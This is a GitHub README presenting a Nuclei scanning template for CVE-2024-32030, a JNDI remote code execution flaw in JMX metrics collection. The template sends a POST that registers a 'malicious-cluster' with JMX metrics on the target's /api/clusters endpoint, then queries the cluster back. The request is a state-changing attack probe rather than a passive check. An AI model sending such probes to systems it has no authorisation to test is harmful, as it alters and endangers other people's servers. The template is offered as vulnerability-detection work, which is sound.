huseyinstif/cve-2024-32030-nuclei-templateNuclei template for detecting CVE-2024-32030 JMX JNDI remote code execution vulnerability via malicious server connection.
This repository contains a Nuclei template for detecting the CVE-2024-32030 vulnerability. This vulnerability allows for remote code execution via JMX Metrics Collection JNDI Resolution.
id: CVE-2024-32030
info:
name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
tags: cve, cve2024, jmx, rce, cve2024-32030
requests:
- method: POST
path:
- "{{BaseURL}}/api/clusters"
headers:
Content-Type: "application/json"
body: |
{
"name": "malicious-cluster",
"bootstrapServers": ["127.0.0.1:1718"],
"metrics": {
"type": "JMX",
"port": 1718
}
}
matchers:
- type: word
part: body
words:
- "malicious-cluster added successfully"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster"
matchers:
- type: word
part: body
words:
- "malicious-cluster"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
matchers:
- type: word
part: body
words:
- "metrics"
To use this template, save it as cve-2024-32030.yaml and run it with Nuclei:
nuclei -t CVE-2024-32030.yaml -u http://target-server
For any inquiries or further information, you can reach out to me through: